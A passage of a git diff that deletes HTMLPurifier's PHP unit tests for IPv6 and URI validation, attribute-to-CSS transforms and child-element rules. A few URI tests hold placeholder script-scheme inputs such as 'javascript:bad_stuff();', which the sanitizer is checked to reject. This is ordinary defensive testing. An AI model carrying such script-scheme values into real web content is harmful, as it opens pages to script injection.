$this->assertDef('0:0:0:0:0:0:13.1.68.3'); // IPv4-compatible IPv6 address, full, deprecated - $this->assertDef('0:0:0:0:0:FFFF:129.144.52.38'); // IPv4-mapped IPv6 address, full - $this->assertDef('::13.1.68.3'); // IPv4-compatible IPv6 address, compressed, deprecated - $this->assertDef('::FFFF:129.144.52.38'); // IPv4-mapped IPv6 address, compressed - $this->assertDef('2001:0DB8:0000:CD30:0000:0000:0000:0000/60'); // full, with prefix - $this->assertDef('2001:0DB8::CD30:0:0:0:0/60'); // compressed, with prefix - $this->assertDef('2001:0DB8:0:CD30::/60'); // compressed, with prefix #2 - $this->assertDef('::/128'); // compressed, unspecified address type, non-routable - $this->assertDef('::1/128'); // compressed, loopback address type, non-routable - $this->assertDef('FF00::/8'); // compressed, multicast address type - $this->assertDef('FE80::/10'); // compressed, link-local unicast, non-routable - $this->assertDef('FEC0::/10'); // compressed, site-local unicast, deprecated - - $this->assertDef('2001:DB8:0:0:8:800:200C:417A:221', false); // unicast, full - $this->assertDef('FF01::101::2', false); //multicast, compressed - $this->assertDef('', false); // nothing - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php deleted file mode 100644 index 5171f6a826..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php +++ /dev/null @@ -1,168 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI(); - parent::setUp(); - } - - public function testIntegration() - { - $this->assertDef('http://www.google.com/'); - $this->assertDef('http:', ''); - $this->assertDef('http:/foo', '/foo'); - $this->assertDef('javascript:bad_stuff();', false); - $this->assertDef('ftp://www.example.com/'); - $this->assertDef('news:rec.alt'); - $this->assertDef('nntp://news.example.com/324234'); - $this->assertDef('mailto:bob@example.com'); - $this->assertDef('tel:+15555555555'); - } - - public function testIntegrationWithPercentEncoder() - { - $this->assertDef( - 'http://www.example.com/%56%fc%GJ%5%FC', - 'http://www.example.com/V%FC%25GJ%255%FC' - ); - } - - public function testPercentEncoding() - { - $this->assertDef( - 'http:colon:mercenary', - 'colon%3Amercenary' - ); - } - - public function testPercentEncodingPreserve() - { - $this->assertDef( - 'http://www.example.com/abcABC123-_.!~*()\'' - ); - } - - public function testEmbeds() - { - $this->def = new HTMLPurifier_AttrDef_URI(true); - $this->assertDef('http://sub.example.com/alas?foo=asd'); - $this->assertDef('mailto:foo@example.com', false); - } - - public function testConfigMunge() - { - $this->config->set('URI.Munge', 'http://www.google.com/url?q=%s'); - $this->assertDef( - 'http://www.example.com/', - 'http://www.google.com/url?q=http%3A%2F%2Fwww.example.com%2F' - ); - $this->assertDef('index.html'); - $this->assertDef('javascript:foobar();', false); - } - - public function testDefaultSchemeRemovedInBlank() - { - $this->assertDef('http:', ''); - } - - public function testDefaultSchemeRemovedInRelativeURI() - { - $this->assertDef('http:/foo/bar', '/foo/bar'); - } - - public function testDefaultSchemeNotRemovedInAbsoluteURI() - { - $this->assertDef('http://example.com/foo/bar'); - } - - public function testDefaultSchemeNull() - { - $this->config->set('URI.DefaultScheme', null); - $this->assertDef('foo', false); - } - - public function testAltSchemeNotRemoved() - { - $this->assertDef('mailto:this-looks-like-a-path@example.com'); - } - - public function testResolveNullSchemeAmbiguity() - { - $this->assertDef('///foo', '/foo'); - } - - public function testResolveNullSchemeDoubleAmbiguity() - { - $this->config->set('URI.Host', 'example.com'); - $this->assertDef('////foo', '//example.com//foo'); - } - - public function testURIDefinitionValidation() - { - $parser = new HTMLPurifier_URIParser(); - $uri = $parser->parse('http://example.com'); - $this->config->set('URI.DefinitionID', 'HTMLPurifier_AttrDef_URITest->testURIDefinitionValidation'); - - generate_mock_once('HTMLPurifier_URIDefinition'); - $uri_def = new HTMLPurifier_URIDefinitionMock(); - $uri_def->expectOnce('filter', array($uri, '*', '*')); - $uri_def->returns('filter', true, array($uri, '*', '*')); - $uri_def->expectOnce('postFilter', array($uri, '*', '*')); - $uri_def->returns('postFilter', true, array($uri, '*', '*')); - $uri_def->setup = true; - - // Since definitions are no longer passed by reference, we need - // to muck around with the cache to insert our mock. This is - // technically a little bad, since the cache shouldn't change - // behavior, but I don't feel too good about letting users - // overload entire definitions. - generate_mock_once('HTMLPurifier_DefinitionCache'); - $cache_mock = new HTMLPurifier_DefinitionCacheMock(); - $cache_mock->returns('get', $uri_def); - - generate_mock_once('HTMLPurifier_DefinitionCacheFactory'); - $factory_mock = new HTMLPurifier_DefinitionCacheFactoryMock(); - $old = HTMLPurifier_DefinitionCacheFactory::instance(); - HTMLPurifier_DefinitionCacheFactory::instance($factory_mock); - $factory_mock->returns('create', $cache_mock); - - $this->assertDef('http://example.com'); - - HTMLPurifier_DefinitionCacheFactory::instance($old); - } - - public function test_make() - { - $factory = new HTMLPurifier_AttrDef_URI(); - $def = $factory->make(''); - $def2 = new HTMLPurifier_AttrDef_URI(); - $this->assertIdentical($def, $def2); - - $def = $factory->make('embedded'); - $def2 = new HTMLPurifier_AttrDef_URI(true); - $this->assertIdentical($def, $def2); - } - - /* - public function test_validate_configWhitelist() - { - $this->config->set('URI.HostPolicy', 'DenyAll'); - $this->config->set('URI.HostWhitelist', array(null, 'google.com')); - - $this->assertDef('http://example.com/fo/google.com', false); - $this->assertDef('server.txt'); - $this->assertDef('ftp://www.google.com/?t=a'); - $this->assertDef('http://google.com.tricky.spamsite.net', false); - - } - */ - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php deleted file mode 100644 index 67015719dc..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php +++ /dev/null @@ -1,33 +0,0 @@ -config = HTMLPurifier_Config::createDefault(); - $this->context = new HTMLPurifier_Context(); - } - - // cannot be used for accumulator - public function assertDef($string, $expect = true, $or_false = false) - { - // $expect can be a string or bool - $result = $this->def->validate($string, $this->config, $this->context); - if ($expect === true) { - if (!($or_false && $result === false)) { - $this->assertIdentical($string, $result); - } - } else { - if (!($or_false && $result === false)) { - $this->assertIdentical($expect, $result); - } - } - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php deleted file mode 100644 index 252e51ff23..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php +++ /dev/null @@ -1,32 +0,0 @@ -assertIdentical('', $def->parseCDATA('')); - $this->assertIdentical('', $def->parseCDATA("\t\n\r \t\t")); - $this->assertIdentical('foo', $def->parseCDATA("\t\n\r foo\t\t")); - $this->assertIdentical('translate to space', $def->parseCDATA("translate\nto\tspace")); - - } - - public function test_make() - { - $def = new HTMLPurifier_AttrDefTestable(); - $def2 = $def->make(''); - $this->assertIdentical($def, $def2); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php deleted file mode 100644 index e1f3f0c037..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php +++ /dev/null @@ -1,45 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Background(); - } - - public function testEmptyInput() - { - $this->assertResult( array() ); - } - - public function testBasicTransform() - { - $this->assertResult( - array('background' => 'logo.png'), - array('style' => 'background-image:url(logo.png);') - ); - } - - public function testPrependNewCSS() - { - $this->assertResult( - array('background' => 'logo.png', 'style' => 'font-weight:bold'), - array('style' => 'background-image:url(logo.png);font-weight:bold') - ); - } - - public function testLenientTreatmentOfInvalidInput() - { - // notice that we rely on the CSS validator later to fix this invalid - // stuff - $this->assertResult( - array('background' => 'logo.png);foo:('), - array('style' => 'background-image:url(logo.png);foo:();') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php deleted file mode 100644 index 78c23c8e8d..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php +++ /dev/null @@ -1,34 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_BdoDir(); - } - - public function testAddDefaultDir() - { - $this->assertResult( array(), array('dir' => 'ltr') ); - } - - public function testPreserveExistingDir() - { - $this->assertResult( array('dir' => 'rtl') ); - } - - public function testAlternateDefault() - { - $this->config->set('Attr.DefaultTextDir', 'rtl'); - $this->assertResult( - array(), - array('dir' => 'rtl') - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php deleted file mode 100644 index 639ec4e733..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php +++ /dev/null @@ -1,49 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_BgColor(); - } - - public function testEmptyInput() - { - $this->assertResult( array() ); - } - - public function testBasicTransform() - { - $this->assertResult( - array('bgcolor' => '#000000'), - array('style' => 'background-color:#000000;') - ); - } - - public function testPrependNewCSS() - { - $this->assertResult( - array('bgcolor' => '#000000', 'style' => 'font-weight:bold'), - array('style' => 'background-color:#000000;font-weight:bold') - ); - } - - public function testLenientTreatmentOfInvalidInput() - { - // this may change when we natively support the datatype and - // validate its contents before forwarding it on - $this->assertResult( - array('bgcolor' => '#F00'), - array('style' => 'background-color:#F00;') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php deleted file mode 100644 index 1081ad6286..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php +++ /dev/null @@ -1,43 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_BoolToCSS('foo', 'bar:3in;'); - } - - public function testEmptyInput() - { - $this->assertResult( array() ); - } - - public function testBasicTransform() - { - $this->assertResult( - array('foo' => 'foo'), - array('style' => 'bar:3in;') - ); - } - - public function testIgnoreValueOfBooleanAttribute() - { - $this->assertResult( - array('foo' => 'no'), - array('style' => 'bar:3in;') - ); - } - - public function testPrependCSS() - { - $this->assertResult( - array('foo' => 'foo', 'style' => 'background-color:#F00;'), - array('style' => 'bar:3in;background-color:#F00;') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php deleted file mode 100644 index d67a5ea4e0..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php +++ /dev/null @@ -1,43 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Border(); - } - - public function testEmptyInput() - { - $this->assertResult( array() ); - } - - public function testBasicTransform() - { - $this->assertResult( - array('border' => '1'), - array('style' => 'border:1px solid;') - ); - } - - public function testLenientTreatmentOfInvalidInput() - { - $this->assertResult( - array('border' => '10%'), - array('style' => 'border:10%px solid;') - ); - } - - public function testPrependNewCSS() - { - $this->assertResult( - array('border' => '23', 'style' => 'font-weight:bold;'), - array('style' => 'border:23px solid;font-weight:bold;') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php deleted file mode 100644 index c8b9f24f24..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php +++ /dev/null @@ -1,82 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - 'left' => 'text-align:left;', - 'right' => 'text-align:right;' - )); - } - - public function testEmptyInput() - { - $this->assertResult( array() ); - } - - public function testPreserveArraysWithoutInterestingAttributes() - { - $this->assertResult( array('style' => 'font-weight:bold;') ); - } - - public function testConvertAlignLeft() - { - $this->assertResult( - array('align' => 'left'), - array('style' => 'text-align:left;') - ); - } - - public function testConvertAlignRight() - { - $this->assertResult( - array('align' => 'right'), - array('style' => 'text-align:right;') - ); - } - - public function testRemoveInvalidAlign() - { - $this->assertResult( - array('align' => 'invalid'), - array() - ); - } - - public function testPrependNewCSS() - { - $this->assertResult( - array('align' => 'left', 'style' => 'font-weight:bold;'), - array('style' => 'text-align:left;font-weight:bold;') - ); - - } - - public function testCaseInsensitive() - { - $this->obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - 'right' => 'text-align:right;' - )); - $this->assertResult( - array('align' => 'RIGHT'), - array('style' => 'text-align:right;') - ); - } - - public function testCaseSensitive() - { - $this->obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - 'right' => 'text-align:right;' - ), true); - $this->assertResult( - array('align' => 'RIGHT'), - array() - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php deleted file mode 100644 index ddcb965218..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php +++ /dev/null @@ -1,61 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_ImgRequired(); - } - - public function testAddMissingAttr() - { - $this->config->set('Core.RemoveInvalidImg', false); - $this->assertResult( - array(), - array('src' => '', 'alt' => 'Invalid image') - ); - } - - public function testAlternateDefaults() - { - $this->config->set('Attr.DefaultInvalidImage', 'blank.png'); - $this->config->set('Attr.DefaultInvalidImageAlt', 'Pawned!'); - $this->config->set('Attr.DefaultImageAlt', 'not pawned'); - $this->config->set('Core.RemoveInvalidImg', false); - $this->assertResult( - array(), - array('src' => 'blank.png', 'alt' => 'Pawned!') - ); - } - - public function testGenerateAlt() - { - $this->assertResult( - array('src' => '/path/to/foobar.png'), - array('src' => '/path/to/foobar.png', 'alt' => 'foobar.png') - ); - } - - public function testAddDefaultSrc() - { - $this->config->set('Core.RemoveInvalidImg', false); - $this->assertResult( - array('alt' => 'intrigue'), - array('alt' => 'intrigue', 'src' => '') - ); - } - - public function testAddDefaultAlt() - { - $this->config->set('Attr.DefaultImageAlt', 'default'); - $this->assertResult( - array('src' => ''), - array('src' => '', 'alt' => 'default') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php deleted file mode 100644 index ebf28d7871..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php +++ /dev/null @@ -1,62 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_ImgSpace('vspace'); - } - - public function testEmptyInput() - { - $this->assertResult( array() ); - } - - public function testVerticalBasicUsage() - { - $this->assertResult( - array('vspace' => '1'), - array('style' => 'margin-top:1px;margin-bottom:1px;') - ); - } - - public function testLenientHandlingOfInvalidInput() - { - $this->assertResult( - array('vspace' => '10%'), - array('style' => 'margin-top:10%px;margin-bottom:10%px;') - ); - } - - public function testPrependNewCSS() - { - $this->assertResult( - array('vspace' => '23', 'style' => 'font-weight:bold;'), - array('style' => 'margin-top:23px;margin-bottom:23px;font-weight:bold;') - ); - } - - public function testHorizontalBasicUsage() - { - $this->obj = new HTMLPurifier_AttrTransform_ImgSpace('hspace'); - $this->assertResult( - array('hspace' => '1'), - array('style' => 'margin-left:1px;margin-right:1px;') - ); - } - - public function testInvalidConstructionParameter() - { - $this->expectError('ispace is not valid space attribute'); - $this->obj = new HTMLPurifier_AttrTransform_ImgSpace('ispace'); - $this->assertResult( - array('ispace' => '1'), - array() - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php deleted file mode 100644 index 1aaf58eee0..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php +++ /dev/null @@ -1,105 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Input(); - } - - public function testEmptyInput() - { - $this->assertResult(array()); - } - - public function testInvalidCheckedWithEmpty() - { - $this->assertResult(array('checked' => 'checked'), array()); - } - - public function testInvalidCheckedWithPassword() - { - $this->assertResult(array( - 'checked' => 'checked', - 'type' => 'password' - ), array( - 'type' => 'password' - )); - } - - public function testValidCheckedWithUcCheckbox() - { - $this->assertResult(array( - 'checked' => 'checked', - 'type' => 'CHECKBOX', - 'value' => 'bar', - )); - } - - public function testInvalidMaxlength() - { - $this->assertResult(array( - 'maxlength' => '10', - 'type' => 'checkbox', - 'value' => 'foo', - ), array( - 'type' => 'checkbox', - 'value' => 'foo', - )); - } - - public function testValidMaxLength() - { - $this->assertResult(array( - 'maxlength' => '10', - )); - } - - // these two are really bad test-cases - - public function testSizeWithCheckbox() - { - $this->assertResult(array( - 'type' => 'checkbox', - 'value' => 'foo', - 'size' => '100px', - ), array( - 'type' => 'checkbox', - 'value' => 'foo', - 'size' => '100', - )); - } - - public function testSizeWithText() - { - $this->assertResult(array( - 'type' => 'password', - 'size' => '100px', // spurious value, to indicate no validation takes place - ), array( - 'type' => 'password', - 'size' => '100px', - )); - } - - public function testInvalidSrc() - { - $this->assertResult(array( - 'src' => 'img.png', - ), array()); - } - - public function testMissingValue() - { - $this->assertResult(array( - 'type' => 'checkbox', - ), array( - 'type' => 'checkbox', - 'value' => '', - )); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php deleted file mode 100644 index 0c39c243a2..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php +++ /dev/null @@ -1,52 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Lang(); - } - - public function testEmptyInput() - { - $this->assertResult(array()); - } - - public function testCopyLangToXMLLang() - { - $this->assertResult( - array('lang' => 'en'), - array('lang' => 'en', 'xml:lang' => 'en') - ); - } - - public function testPreserveAttributes() - { - $this->assertResult( - array('src' => 'vert.png', 'lang' => 'fr'), - array('src' => 'vert.png', 'lang' => 'fr', 'xml:lang' => 'fr') - ); - } - - public function testCopyXMLLangToLang() - { - $this->assertResult( - array('xml:lang' => 'en'), - array('xml:lang' => 'en', 'lang' => 'en') - ); - } - - public function testXMLLangOverridesLang() - { - $this->assertResult( - array('lang' => 'fr', 'xml:lang' => 'de'), - array('lang' => 'de', 'xml:lang' => 'de') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php deleted file mode 100644 index aa768cb1d5..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php +++ /dev/null @@ -1,51 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Length('width'); - } - - public function testEmptyInput() - { - $this->assertResult( array() ); - } - - public function testTransformPixel() - { - $this->assertResult( - array('width' => '10'), - array('style' => 'width:10px;') - ); - } - - public function testTransformPercentage() - { - $this->assertResult( - array('width' => '10%'), - array('style' => 'width:10%;') - ); - } - - public function testPrependNewCSS() - { - $this->assertResult( - array('width' => '10%', 'style' => 'font-weight:bold'), - array('style' => 'width:10%;font-weight:bold') - ); - } - - public function testLenientTreatmentOfInvalidInput() - { - $this->assertResult( - array('width' => 'asdf'), - array('style' => 'width:asdf;') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php deleted file mode 100644 index 96c712904f..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php +++ /dev/null @@ -1,45 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_NameSync(); - $this->accumulator = new HTMLPurifier_IDAccumulator(); - $this->context->register('IDAccumulator', $this->accumulator); - $this->config->set('Attr.EnableID', true); - } - - public function testEmpty() - { - $this->assertResult( array() ); - } - - public function testAllowSame() - { - $this->assertResult( - array('name' => 'free', 'id' => 'free') - ); - } - - public function testAllowDifferent() - { - $this->assertResult( - array('name' => 'tryit', 'id' => 'thisgood') - ); - } - - public function testCheckName() - { - $this->accumulator->add('notok'); - $this->assertResult( - array('name' => 'notok', 'id' => 'ok'), - array('id' => 'ok') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php deleted file mode 100644 index db7be9a3c8..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php +++ /dev/null @@ -1,35 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Name(); - } - - public function testEmpty() - { - $this->assertResult( array() ); - } - - public function testTransformNameToID() - { - $this->assertResult( - array('name' => 'free'), - array('id' => 'free') - ); - } - - public function testExistingIDOverridesName() - { - $this->assertResult( - array('name' => 'tryit', 'id' => 'tobad'), - array('id' => 'tobad') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php deleted file mode 100644 index 5348ad197a..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php +++ /dev/null @@ -1,14 +0,0 @@ -func = 'transform'; - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php deleted file mode 100644 index 3212e1e51b..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php +++ /dev/null @@ -1,45 +0,0 @@ -prependCSS($attr, 'style:new;'); - $this->assertIdentical(array('style' => 'style:new;'), $attr); - - $attr = array('style' => 'style:original;'); - $t->prependCSS($attr, 'style:new;'); - $this->assertIdentical(array('style' => 'style:new;style:original;'), $attr); - - $attr = array('style' => 'style:original;', 'misc' => 'un-related'); - $t->prependCSS($attr, 'style:new;'); - $this->assertIdentical(array('style' => 'style:new;style:original;', 'misc' => 'un-related'), $attr); - - } - - public function test_confiscateAttr() - { - $t = new HTMLPurifier_AttrTransformTestable(); - - $attr = array('flavor' => 'sweet'); - $this->assertIdentical('sweet', $t->confiscateAttr($attr, 'flavor')); - $this->assertIdentical(array(), $attr); - - $attr = array('flavor' => 'sweet'); - $this->assertIdentical(null, $t->confiscateAttr($attr, 'color')); - $this->assertIdentical(array('flavor' => 'sweet'), $attr); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php deleted file mode 100644 index ca3c10db3e..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php +++ /dev/null @@ -1,27 +0,0 @@ -assertIdentical( - $types->get('CDATA'), - new HTMLPurifier_AttrDef_Text() - ); - - $this->expectError('Cannot retrieve undefined attribute type foobar'); - $types->get('foobar'); - - $this->assertIdentical( - $types->get('Enum#foo,bar'), - new HTMLPurifier_AttrDef_Enum(array('foo', 'bar')) - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php deleted file mode 100644 index fc205b98b7..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php +++ /dev/null @@ -1,72 +0,0 @@ -language = HTMLPurifier_LanguageFactory::instance()->create($config, $this->context); - $this->context->register('Locale', $this->language); - $this->collector = new HTMLPurifier_ErrorCollector($this->context); - $gen = new HTMLPurifier_Generator($config, $this->context); - $this->context->register('Generator', $gen); - } - - protected function invoke($input) - { - $validator = new HTMLPurifier_AttrValidator(); - $validator->validateToken($input, $this->config, $this->context); - } - - public function testAttributesTransformedGlobalPre() - { - $def = $this->config->getHTMLDefinition(true); - generate_mock_once('HTMLPurifier_AttrTransform'); - $transform = new HTMLPurifier_AttrTransformMock(); - $input = array('original' => 'value'); - $output = array('class' => 'value'); // must be valid - $transform->returns('transform', $output, array($input, new AnythingExpectation(), new AnythingExpectation())); - $def->info_attr_transform_pre[] = $transform; - - $token = new HTMLPurifier_Token_Start('span', $input, 1); - $this->invoke($token); - - $result = $this->collector->getRaw(); - $expect = array( - array(1, E_NOTICE, 'Attributes on transformed from original to class', array()), - ); - $this->assertIdentical($result, $expect); - } - - public function testAttributesTransformedLocalPre() - { - $this->config->set('HTML.TidyLevel', 'heavy'); - $input = array('align' => 'right'); - $output = array('style' => 'text-align:right;'); - $token = new HTMLPurifier_Token_Start('p', $input, 1); - $this->invoke($token); - $result = $this->collector->getRaw(); - $expect = array( - array(1, E_NOTICE, 'Attributes on

    transformed from align to style', array()), - ); - $this->assertIdentical($result, $expect); - } - - // too lazy to check for global post and global pre - - public function testAttributeRemoved() - { - $token = new HTMLPurifier_Token_Start('p', array('foobar' => 'right'), 1); - $this->invoke($token); - $result = $this->collector->getRaw(); - $expect = array( - array(1, E_ERROR, 'foobar attribute on

    removed', array()), - ); - $this->assertIdentical($result, $expect); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php deleted file mode 100644 index 2f7b675589..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php +++ /dev/null @@ -1,44 +0,0 @@ -obj = new HTMLPurifier_ChildDef_Chameleon( - 'b | i', // allowed only when in inline context - 'b | i | div' // allowed only when in block context - ); - $this->context->register('IsInline', $this->isInline); - } - - public function testInlineAlwaysAllowed() - { - $this->isInline = true; - $this->assertResult( - 'Allowed.' - ); - } - - public function testBlockNotAllowedInInline() - { - $this->isInline = true; - $this->assertResult( - '

    Not allowed.
    ', '' - ); - } - - public function testBlockAllowedInNonInline() - { - $this->isInline = false; - $this->assertResult( - '
    Allowed.
    ' - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php deleted file mode 100644 index 60192050e3..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php +++ /dev/null @@ -1,99 +0,0 @@ -obj = new HTMLPurifier_ChildDef_Custom('(a,b?,c*,d+,(a,b)*)'); - - $this->assertEqual($this->obj->elements, array('a' => true, - 'b' => true, 'c' => true, 'd' => true)); - - $this->assertResult('', false); - $this->assertResult('', false); - - $this->assertResult(''); - $this->assertResult('Dobfoo'. - 'foo'); - - } - - public function testNesting() - { - $this->obj = new HTMLPurifier_ChildDef_Custom('(a,b,(c|d))+'); - $this->assertEqual($this->obj->elements, array('a' => true, - 'b' => true, 'c' => true, 'd' => true)); - $this->assertResult('', false); - $this->assertResult(''); - $this->assertResult('', false); - } - - public function testNestedEitherOr() - { - $this->obj = new HTMLPurifier_ChildDef_Custom('b,(a|(c|d))+'); - $this->assertEqual($this->obj->elements, array('a' => true, - 'b' => true, 'c' => true, 'd' => true)); - $this->assertResult('', false); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult('', false); - } - - public function testNestedQuantifier() - { - $this->obj = new HTMLPurifier_ChildDef_Custom('(b,c+)*'); - $this->assertEqual($this->obj->elements, array('b' => true, 'c' => true)); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult('', false); - } - - public function testEitherOr() - { - $this->obj = new HTMLPurifier_ChildDef_Custom('a|b'); - $this->assertEqual($this->obj->elements, array('a' => true, 'b' => true)); - $this->assertResult('', false); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult('', false); - - } - - public function testCommafication() - { - $this->obj = new HTMLPurifier_ChildDef_Custom('a,b'); - $this->assertEqual($this->obj->elements, array('a' => true, 'b' => true)); - $this->assertResult(''); - $this->assertResult('', false); - - } - - public function testPcdata() - { - $this->obj = new 